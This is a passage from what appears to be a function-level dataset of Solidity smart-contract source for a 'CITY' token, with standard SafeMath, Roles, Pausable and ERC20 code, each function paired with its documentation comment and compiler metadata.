library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; }
/** * @dev Adds two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 1345, 1500 ] }
12,434
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; }
/** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 1653, 1782 ] }
12,435
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } }
add
function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; }
/** * @dev give an account access to this role */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 155, 346 ] }
12,436
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } }
remove
function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; }
/** * @dev remove an account's access to this role */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 420, 614 ] }
12,437
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } }
has
function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; }
/** * @dev check if an account has this role * @return bool */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 703, 873 ] }
12,438
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
Pausable
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
paused
function paused() public view returns (bool) { return _paused; }
/** * @return true if the contract is paused, false otherwise. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 289, 372 ] }
12,439
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
Pausable
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
pause
function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); }
/** * @dev called by the owner to pause, triggers stopped state */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 825, 946 ] }
12,440
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
Pausable
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
unpause
function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); }
/** * @dev called by the owner to unpause, returns to normal state */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 1036, 1159 ] }
12,441
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev Total number of tokens in existence */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 297, 393 ] }
12,442
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
balanceOf
function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
/** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 604, 715 ] }
12,443
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 1049, 1185 ] }
12,444
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
transfer
function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; }
/** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 1351, 1496 ] }
12,445
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param 